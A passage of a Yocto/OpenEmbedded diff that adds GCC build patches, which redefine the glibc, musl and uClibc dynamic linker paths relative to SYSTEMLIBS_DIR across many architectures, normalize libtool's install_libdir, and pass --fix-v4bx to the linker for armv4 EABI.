++++ b/gcc/cp/lang-specs.h
+@@ -116,7 +116,7 @@ along with GCC; see the file COPYING3. If not see
+ {".ii", "@c++-cpp-output", 0, 0, 0},
+ {"@c++-cpp-output",
+ "%{!E:%{!M:%{!MM:"
+- " cc1plus -fpreprocessed %i %(cc1_options) %2"
++ " cc1plus -fpreprocessed %i %I %(cc1_options) %2"
+ " %{!fsyntax-only:"
+ " %{fmodule-only:%{!S:-o %g.s%V}}"
+ " %{!fmodule-only:%{!fmodule-header*:%(invoke_as)}}}"
+diff --git a/gcc/gcc.cc b/gcc/gcc.cc
+index 5feae021545..8af0c814c33 100644
+--- a/gcc/gcc.cc
++++ b/gcc/gcc.cc
+@@ -1468,7 +1468,7 @@ static const struct compiler default_compilers[] =
+ %W{o*:--output-pch %*}}%V}}}}}}}", 0, 0, 0},
+ {".i", "@cpp-output", 0, 0, 0},
+ {"@cpp-output",
+- "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
++ "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %I %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
+ {".s", "@assembler", 0, 0, 0},
+ {"@assembler",
+ "%{!M:%{!MM:%{!E:%{!S:as %(asm_debug) %(asm_options) %i %A }}}}", 0, 0, 0},
diff --git a/meta/recipes-devtools/gcc/gcc/0007-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch b/meta/recipes-devtools/gcc/gcc/0007-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
new file mode 100644
index 0000000000..079142c540
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0007-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
@@ -0,0 +1,403 @@
+From aacfd6e14dd583b1fdc65691def61c5e1bc89708 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:24:50 +0400
+Subject: [PATCH] Define GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
+ relative to SYSTEMLIBS_DIR
+
+This patch defines GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
+relative to SYSTEMLIBS_DIR which can be set in generated headers
+This breaks the assumption of hardcoded multilib in gcc
+Change is only for the supported architectures in OE including
+SH, sparc, alpha for possible future support (if any)
+
+Removes the do_headerfix task in metadata
+
+Upstream-Status: Inappropriate [OE configuration]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/aarch64/aarch64-linux.h | 4 ++--
+ gcc/config/alpha/linux-elf.h | 4 ++--
+ gcc/config/arm/linux-eabi.h | 6 +++---
+ gcc/config/arm/linux-elf.h | 2 +-
+ gcc/config/i386/linux.h | 4 ++--
+ gcc/config/i386/linux64.h | 12 ++++++------
+ gcc/config/linux.h | 8 ++++----
+ gcc/config/loongarch/gnu-user.h | 4 ++--
+ gcc/config/microblaze/linux.h | 4 ++--
+ gcc/config/mips/linux.h | 18 +++++++++---------
+ gcc/config/nios2/linux.h | 4 ++--
+ gcc/config/riscv/linux.h | 4 ++--
+ gcc/config/rs6000/linux64.h | 15 +++++----------
+ gcc/config/rs6000/sysv4.h | 4 ++--
+ gcc/config/s390/linux.h | 8 ++++----
+ gcc/config/sh/linux.h | 4 ++--
+ gcc/config/sparc/linux.h | 2 +-
+ gcc/config/sparc/linux64.h | 4 ++--
+ 18 files changed, 53 insertions(+), 58 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
+index 4277f03da2a..e4c92c03291 100644
+--- a/gcc/config/aarch64/aarch64-linux.h
++++ b/gcc/config/aarch64/aarch64-linux.h
+@@ -21,10 +21,10 @@
+ #ifndef GCC_AARCH64_LINUX_H
+ #define GCC_AARCH64_LINUX_H
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef ASAN_CC1_SPEC
+ #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
+diff --git a/gcc/config/alpha/linux-elf.h b/gcc/config/alpha/linux-elf.h
+index 03f783f2ad1..4fa02668aa7 100644
+--- a/gcc/config/alpha/linux-elf.h
++++ b/gcc/config/alpha/linux-elf.h
+@@ -23,8 +23,8 @@ along with GCC; see the file COPYING3. If not see
+ #define EXTRA_SPECS \
+ { "elf_dynamic_linker", ELF_DYNAMIC_LINKER },
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
+-#define UCLIBC_DYNAMIC_LINKER "/lib/ld-uClibc.so.0"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
++#define UCLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-uClibc.so.0"
+ #if DEFAULT_LIBC == LIBC_UCLIBC
+ #define CHOOSE_DYNAMIC_LINKER(G, U) "%{mglibc:" G ";:" U "}"
+ #elif DEFAULT_LIBC == LIBC_GLIBC
+diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
+index a119875599d..dce7f59eeea 100644
+--- a/gcc/config/arm/linux-eabi.h
++++ b/gcc/config/arm/linux-eabi.h
+@@ -62,8 +62,8 @@
+ GLIBC_DYNAMIC_LINKER_DEFAULT and TARGET_DEFAULT_FLOAT_ABI. */
+
+ #undef GLIBC_DYNAMIC_LINKER
+-#define GLIBC_DYNAMIC_LINKER_SOFT_FLOAT "/lib/ld-linux.so.3"
+-#define GLIBC_DYNAMIC_LINKER_HARD_FLOAT "/lib/ld-linux-armhf.so.3"
++#define GLIBC_DYNAMIC_LINKER_SOFT_FLOAT SYSTEMLIBS_DIR "ld-linux.so.3"
++#define GLIBC_DYNAMIC_LINKER_HARD_FLOAT SYSTEMLIBS_DIR "ld-linux-armhf.so.3"
+ #define GLIBC_DYNAMIC_LINKER_DEFAULT GLIBC_DYNAMIC_LINKER_SOFT_FLOAT
+
+ #define GLIBC_DYNAMIC_LINKER \
+@@ -86,7 +86,7 @@
+ #define MUSL_DYNAMIC_LINKER_E "%{mbig-endian:eb}"
+ #endif
+ #define MUSL_DYNAMIC_LINKER \
+- "/lib/ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}%{mfdpic:-fdpic}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}%{mfdpic:-fdpic}.so.1"
+
+ /* At this point, bpabi.h will have clobbered LINK_SPEC. We want to
+ use the GNU/Linux version, not the generic BPABI version. */
+diff --git a/gcc/config/arm/linux-elf.h b/gcc/config/arm/linux-elf.h
+index 7b7b7cbbe14..98ef2267117 100644
+--- a/gcc/config/arm/linux-elf.h
++++ b/gcc/config/arm/linux-elf.h
+@@ -60,7 +60,7 @@
+
+ #define LIBGCC_SPEC "%{mfloat-abi=soft*:-lfloat} -lgcc"
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
+
+ #define LINUX_TARGET_LINK_SPEC "%{h*} \
+ %{static:-Bstatic} \
+diff --git a/gcc/config/i386/linux.h b/gcc/config/i386/linux.h
+index bbb7cc7115e..7d9272040ee 100644
+--- a/gcc/config/i386/linux.h
++++ b/gcc/config/i386/linux.h
+@@ -20,7 +20,7 @@ along with GCC; see the file COPYING3. If not see
+ <http://www.gnu.org/licenses/>. */
+
+ #define GNU_USER_LINK_EMULATION "elf_i386"
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-i386.so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-i386.so.1"
+diff --git a/gcc/config/i386/linux64.h b/gcc/config/i386/linux64.h
+index 2bd9f48e271..dbbe7ca5440 100644
+--- a/gcc/config/i386/linux64.h
++++ b/gcc/config/i386/linux64.h
+@@ -27,13 +27,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ #define GNU_USER_LINK_EMULATION64 "elf_x86_64"
+ #define GNU_USER_LINK_EMULATIONX32 "elf32_x86_64"
+
+-#define GLIBC_DYNAMIC_LINKER32 "/lib/ld-linux.so.2"
+-#define GLIBC_DYNAMIC_LINKER64 "/lib64/ld-linux-x86-64.so.2"
+-#define GLIBC_DYNAMIC_LINKERX32 "/libx32/ld-linux-x32.so.2"
++#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-linux-x86-64.so.2"
++#define GLIBC_DYNAMIC_LINKERX32 SYSTEMLIBS_DIR "ld-linux-x32.so.2"
+
+ #undef MUSL_DYNAMIC_LINKER32
+-#define MUSL_DYNAMIC_LINKER32 "/lib/ld-musl-i386.so.1"
++#define MUSL_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-musl-i386.so.1"
+ #undef MUSL_DYNAMIC_LINKER64
+-#define MUSL_DYNAMIC_LINKER64 "/lib/ld-musl-x86_64.so.1"
++#define MUSL_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-musl-x86_64.so.1"
+ #undef MUSL_DYNAMIC_LINKERX32
+-#define MUSL_DYNAMIC_LINKERX32 "/lib/ld-musl-x32.so.1"
++#define MUSL_DYNAMIC_LINKERX32 SYSTEMLIBS_DIR "ld-musl-x32.so.1"
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index e3aca79cccc..6491c6b84f5 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -86,10 +86,10 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ GLIBC_DYNAMIC_LINKER must be defined for each target using them, or
+ GLIBC_DYNAMIC_LINKER32 and GLIBC_DYNAMIC_LINKER64 for targets
+ supporting both 32-bit and 64-bit compilation. */
+-#define UCLIBC_DYNAMIC_LINKER "/lib/ld-uClibc.so.0"
+-#define UCLIBC_DYNAMIC_LINKER32 "/lib/ld-uClibc.so.0"
+-#define UCLIBC_DYNAMIC_LINKER64 "/lib/ld64-uClibc.so.0"
+-#define UCLIBC_DYNAMIC_LINKERX32 "/lib/ldx32-uClibc.so.0"
++#define UCLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-uClibc.so.0"
++#define UCLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-uClibc.so.0"
++#define UCLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld64-uClibc.so.0"
++#define UCLIBC_DYNAMIC_LINKERX32 SYSTEMLIBS_DIR "ldx32-uClibc.so.0"
+ #define BIONIC_DYNAMIC_LINKER "/system/bin/linker"
+ #define BIONIC_DYNAMIC_LINKER32 "/system/bin/linker"
+ #define BIONIC_DYNAMIC_LINKER64 "/system/bin/linker64"
+diff --git a/gcc/config/loongarch/gnu-user.h b/gcc/config/loongarch/gnu-user.h
+index aecaa02a199..62f88f7f9a2 100644
+--- a/gcc/config/loongarch/gnu-user.h
++++ b/gcc/config/loongarch/gnu-user.h
+@@ -31,11 +31,11 @@ along with GCC; see the file COPYING3. If not see
+
+ #undef GLIBC_DYNAMIC_LINKER
+ #define GLIBC_DYNAMIC_LINKER \
+- "/lib" ABI_GRLEN_SPEC "/ld-linux-loongarch-" ABI_SPEC ".so.1"
++ SYSTEMLIBS_DIR "ld-linux-loongarch-" ABI_SPEC ".so.1"
+
+ #undef MUSL_DYNAMIC_LINKER
+ #define MUSL_DYNAMIC_LINKER \
+- "/lib" ABI_GRLEN_SPEC "/ld-musl-loongarch-" ABI_SPEC ".so.1"
++ SYSTEMLIBS_DIR "ld-musl-loongarch-" ABI_SPEC ".so.1"
+
+ #undef GNU_USER_TARGET_LINK_SPEC
+ #define GNU_USER_TARGET_LINK_SPEC \
+diff --git a/gcc/config/microblaze/linux.h b/gcc/config/microblaze/linux.h
+index e2e2c421c52..6f26480e3b5 100644
+--- a/gcc/config/microblaze/linux.h
++++ b/gcc/config/microblaze/linux.h
+@@ -28,7 +28,7 @@
+ #undef TLS_NEEDS_GOT
+ #define TLS_NEEDS_GOT 1
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "/ld.so.1"
+ #define UCLIBC_DYNAMIC_LINKER "/lib/ld-uClibc.so.0"
+
+ #if TARGET_BIG_ENDIAN_DEFAULT == 0 /* LE */
+@@ -38,7 +38,7 @@
+ #endif
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-microblaze" MUSL_DYNAMIC_LINKER_E ".so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-microblaze" MUSL_DYNAMIC_LINKER_E ".so.1"
+
+ #undef SUBTARGET_EXTRA_SPECS
+ #define SUBTARGET_EXTRA_SPECS \
+diff --git a/gcc/config/mips/linux.h b/gcc/config/mips/linux.h
+index 5add34ea134..34692b433b8 100644
+--- a/gcc/config/mips/linux.h
++++ b/gcc/config/mips/linux.h
+@@ -22,29 +22,29 @@ along with GCC; see the file COPYING3. If not see
+ #define GNU_USER_LINK_EMULATIONN32 "elf32%{EB:b}%{EL:l}tsmipn32"
+
+ #define GLIBC_DYNAMIC_LINKER32 \
+- "%{mnan=2008:/lib/ld-linux-mipsn8.so.1;:/lib/ld.so.1}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
+ #define GLIBC_DYNAMIC_LINKER64 \
+- "%{mnan=2008:/lib64/ld-linux-mipsn8.so.1;:/lib64/ld.so.1}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
+ #define GLIBC_DYNAMIC_LINKERN32 \
+- "%{mnan=2008:/lib32/ld-linux-mipsn8.so.1;:/lib32/ld.so.1}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-linux-mipsn8.so.1;:" SYSTEMLIBS_DIR "ld.so.1}"
+
+ #undef UCLIBC_DYNAMIC_LINKER32
+ #define UCLIBC_DYNAMIC_LINKER32 \
+- "%{mnan=2008:/lib/ld-uClibc-mipsn8.so.0;:/lib/ld-uClibc.so.0}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld-uClibc.so.0}"
+ #undef UCLIBC_DYNAMIC_LINKER64
+ #define UCLIBC_DYNAMIC_LINKER64 \
+- "%{mnan=2008:/lib/ld64-uClibc-mipsn8.so.0;:/lib/ld64-uClibc.so.0}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld64-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld64-uClibc.so.0}"
+ #define UCLIBC_DYNAMIC_LINKERN32 \
+- "%{mnan=2008:/lib32/ld-uClibc-mipsn8.so.0;:/lib32/ld-uClibc.so.0}"
++ "%{mnan=2008:" SYSTEMLIBS_DIR "ld-uClibc-mipsn8.so.0;:" SYSTEMLIBS_DIR "ld-uClibc.so.0}"
+
+ #undef MUSL_DYNAMIC_LINKER32
+ #define MUSL_DYNAMIC_LINKER32 \
+- "/lib/ld-musl-mips%{mips32r6|mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-mips%{mips32r6|mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
+ #undef MUSL_DYNAMIC_LINKER64
+ #define MUSL_DYNAMIC_LINKER64 \
+- "/lib/ld-musl-mips64%{mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-mips64%{mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
+ #define MUSL_DYNAMIC_LINKERN32 \
+- "/lib/ld-musl-mipsn32%{mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-mipsn32%{mips64r6:r6}%{EL:el}%{msoft-float:-sf}.so.1"
+
+ #define BIONIC_DYNAMIC_LINKERN32 "/system/bin/linker32"
+ #define GNU_USER_DYNAMIC_LINKERN32 \
+diff --git a/gcc/config/nios2/linux.h b/gcc/config/nios2/linux.h
+index 2ce097ebbce..1d45d7b4962 100644
+--- a/gcc/config/nios2/linux.h
++++ b/gcc/config/nios2/linux.h
+@@ -29,10 +29,10 @@
+ #undef CPP_SPEC
+ #define CPP_SPEC "%{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}"
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-nios2.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-nios2.so.1"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-nios2.so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-nios2.so.1"
+
+ #undef LINK_SPEC
+ #define LINK_SPEC LINK_SPEC_ENDIAN \
+diff --git a/gcc/config/riscv/linux.h b/gcc/config/riscv/linux.h
+index 3e625e0f867..dc3afc97e27 100644
+--- a/gcc/config/riscv/linux.h
++++ b/gcc/config/riscv/linux.h
+@@ -22,7 +22,7 @@ along with GCC; see the file COPYING3. If not see
+ GNU_USER_TARGET_OS_CPP_BUILTINS(); \
+ } while (0)
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-riscv" XLEN_SPEC "-" ABI_SPEC ".so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-riscv" XLEN_SPEC "-" ABI_SPEC ".so.1"
+
+ #define MUSL_ABI_SUFFIX \
+ "%{mabi=ilp32:-sf}" \
+@@ -33,7 +33,7 @@ along with GCC; see the file COPYING3. If not see
+ "%{mabi=lp64d:}"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-riscv" XLEN_SPEC MUSL_ABI_SUFFIX ".so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-riscv" XLEN_SPEC MUSL_ABI_SUFFIX ".so.1"
+
+ #define ICACHE_FLUSH_FUNC "__riscv_flush_icache"
+
+diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
+index 9e457033d11..2ddab7c99c1 100644
+--- a/gcc/config/rs6000/linux64.h
++++ b/gcc/config/rs6000/linux64.h
+@@ -339,24 +339,19 @@ extern int dot_symbols;
+ #undef LINK_OS_DEFAULT_SPEC
+ #define LINK_OS_DEFAULT_SPEC "%(link_os_linux)"
+
+-#define GLIBC_DYNAMIC_LINKER32 "%(dynamic_linker_prefix)/lib/ld.so.1"
+-
++#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld.so.1"
+ #ifdef LINUX64_DEFAULT_ABI_ELFv2
+-#define GLIBC_DYNAMIC_LINKER64 \
+-"%{mabi=elfv1:%(dynamic_linker_prefix)/lib64/ld64.so.1;" \
+-":%(dynamic_linker_prefix)/lib64/ld64.so.2}"
++#define GLIBC_DYNAMIC_LINKER64 "%{mabi=elfv1:" SYSTEMLIBS_DIR "ld64.so.1;:" SYSTEMLIBS_DIR "ld64.so.2}"
+ #else
+-#define GLIBC_DYNAMIC_LINKER64 \
+-"%{mabi=elfv2:%(dynamic_linker_prefix)/lib64/ld64.so.2;" \
+-":%(dynamic_linker_prefix)/lib64/ld64.so.1}"
++#define GLIBC_DYNAMIC_LINKER64 "%{mabi=elfv2:" SYSTEMLIBS_DIR "ld64.so.2;:" SYSTEMLIBS_DIR "ld64.so.1}"
+ #endif
+
+ #undef MUSL_DYNAMIC_LINKER32
+ #define MUSL_DYNAMIC_LINKER32 \
+- "/lib/ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
+ #undef MUSL_DYNAMIC_LINKER64
+ #define MUSL_DYNAMIC_LINKER64 \
+- "/lib/ld-musl-powerpc64" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-powerpc64" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
+
+ #undef DEFAULT_ASM_ENDIAN
+ #if (TARGET_DEFAULT & MASK_LITTLE_ENDIAN)
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index ae932fc22f0..26db003cb3a 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -771,10 +771,10 @@ GNU_USER_TARGET_CC1_SPEC
+
+ #define MUSL_DYNAMIC_LINKER_E ENDIAN_SELECT("","le","")
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld.so.1"
+ #undef MUSL_DYNAMIC_LINKER
+ #define MUSL_DYNAMIC_LINKER \
+- "/lib/ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
++ SYSTEMLIBS_DIR "ld-musl-powerpc" MUSL_DYNAMIC_LINKER_E "%{msoft-float:-sf}.so.1"
+
+ #ifndef GNU_USER_DYNAMIC_LINKER
+ #define GNU_USER_DYNAMIC_LINKER GLIBC_DYNAMIC_LINKER
+diff --git a/gcc/config/s390/linux.h b/gcc/config/s390/linux.h
+index 02aa1edaff8..fab268d61f4 100644
+--- a/gcc/config/s390/linux.h
++++ b/gcc/config/s390/linux.h
+@@ -72,13 +72,13 @@ along with GCC; see the file COPYING3. If not see
+ #define MULTILIB_DEFAULTS { "m31" }
+ #endif
+
+-#define GLIBC_DYNAMIC_LINKER32 "/lib/ld.so.1"
+-#define GLIBC_DYNAMIC_LINKER64 "/lib/ld64.so.1"
++#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld.so.1"
++#define GLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld64.so.1"
+
+ #undef MUSL_DYNAMIC_LINKER32
+-#define MUSL_DYNAMIC_LINKER32 "/lib/ld-musl-s390.so.1"
++#define MUSL_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-musl-s390.so.1"
+ #undef MUSL_DYNAMIC_LINKER64
+-#define MUSL_DYNAMIC_LINKER64 "/lib/ld-musl-s390x.so.1"
++#define MUSL_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-musl-s390x.so.1"
+
+ #undef LINK_SPEC
+ #define LINK_SPEC \
+diff --git a/gcc/config/sh/linux.h b/gcc/config/sh/linux.h
+index 29f5902b98b..83d1e53e6e2 100644
+--- a/gcc/config/sh/linux.h
++++ b/gcc/config/sh/linux.h
+@@ -61,10 +61,10 @@ along with GCC; see the file COPYING3. If not see
+
+ #undef MUSL_DYNAMIC_LINKER
+ #define MUSL_DYNAMIC_LINKER \
+- "/lib/ld-musl-sh" MUSL_DYNAMIC_LINKER_E MUSL_DYNAMIC_LINKER_FP \
++ SYSTEMLIBS_DIR "ld-musl-sh" MUSL_DYNAMIC_LINKER_E MUSL_DYNAMIC_LINKER_FP \
+ "%{mfdpic:-fdpic}.so.1"
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
+
+ #undef SUBTARGET_LINK_EMUL_SUFFIX
+ #define SUBTARGET_LINK_EMUL_SUFFIX "%{mfdpic:_fd;:_linux}"
+diff --git a/gcc/config/sparc/linux.h b/gcc/config/sparc/linux.h
+index 0e33b3cac2c..84f29adbb35 100644
+--- a/gcc/config/sparc/linux.h
++++ b/gcc/config/sparc/linux.h
+@@ -78,7 +78,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
+ When the -shared link option is used a final link is not being
+ done. */
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
+
+ #undef LINK_SPEC
+ #define LINK_SPEC "-m elf32_sparc %{shared:-shared} \
+diff --git a/gcc/config/sparc/linux64.h b/gcc/config/sparc/linux64.h
+index f1cc0a19e49..94bc2032803 100644
+--- a/gcc/config/sparc/linux64.h
++++ b/gcc/config/sparc/linux64.h
+@@ -78,8 +78,8 @@ along with GCC; see the file COPYING3. If not see
+ When the -shared link option is used a final link is not being
+ done. */
+
+-#define GLIBC_DYNAMIC_LINKER32 "/lib/ld-linux.so.2"
+-#define GLIBC_DYNAMIC_LINKER64 "/lib64/ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-linux.so.2"
++#define GLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-linux.so.2"
+
+ #ifdef SPARC_BI_ARCH
+
diff --git a/meta/recipes-devtools/gcc/gcc/0008-libtool.patch b/meta/recipes-devtools/gcc/gcc/0008-libtool.patch
new file mode 100644
index 0000000000..5b44dc809e
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0008-libtool.patch
@@ -0,0 +1,38 @@
+From 7608e93ab97e8c33e3b14323d0cabc651926e403 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:29:11 +0400
+Subject: [PATCH] libtool
+
+libstdc++ from gcc-runtime gets created with -rpath=/usr/lib/../lib for qemux86-64
+when running on am x86_64 build host.
+
+This patch stops this speading to libdir in the libstdc++.la file within libtool.
+Arguably, it shouldn't be passing this into libtool in the first place but
+for now this resolves the nastiest problems this causes.
+
+func_normal_abspath would resolve an empty path to `pwd` so we need
+to filter the zero case.
+
+RP 2012/8/24
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2023-04/msg00000.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 70990740b6c..ee938056bef 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -6359,6 +6359,10 @@ func_mode_link ()
+ func_warning "ignoring multiple \`-rpath's for a libtool library"
+
+ install_libdir="$1"
++ if test -n "$install_libdir"; then
++ func_normal_abspath "$install_libdir"
++ install_libdir=$func_normal_abspath_result
++ fi
+
+ oldlibs=
+ if test -z "$rpath"; then
diff --git a/meta/recipes-devtools/gcc/gcc/0009-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch b/meta/recipes-devtools/gcc/gcc/0009-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
new file mode 100644
index 0000000000..86542bd146
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0009-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
@@ -0,0 +1,39 @@
+From 4b0efc18e0d91967a3db11d9ef0595a5a76ad67a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:30:32 +0400
+Subject: [PATCH] gcc: armv4: pass fix-v4bx to linker to support EABI.
+
+The LINK_SPEC for linux gets overwritten by linux-eabi.h which
+means the value of TARGET_FIX_V4BX_SPEC gets lost and as a result
+the option is not passed to linker when chosing march=armv4
+This patch redefines this in linux-eabi.h and reinserts it
+for eabi defaulting toolchains.
+
+We might want to send it upstream.
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2023-April/615319.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/arm/linux-eabi.h | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
+index dce7f59eeea..27402c629c6 100644
+--- a/gcc/config/arm/linux-eabi.h
++++ b/gcc/config/arm/linux-eabi.h
+@@ -88,10 +88,14 @@
+ #define MUSL_DYNAMIC_LINKER \
+ SYSTEMLIBS_DIR "ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}%{mfdpic:-fdpic}.so.1"
+
++/* For armv4 we pass --fix-v4bx to linker to support EABI */
++#undef TARGET_FIX_V4BX_SPEC
++#define TARGET_FIX_V4BX_SPEC "%{mcpu=arm8|mcpu=arm810|mcpu=strongarm*|march=armv4: --fix-v4bx}"
++
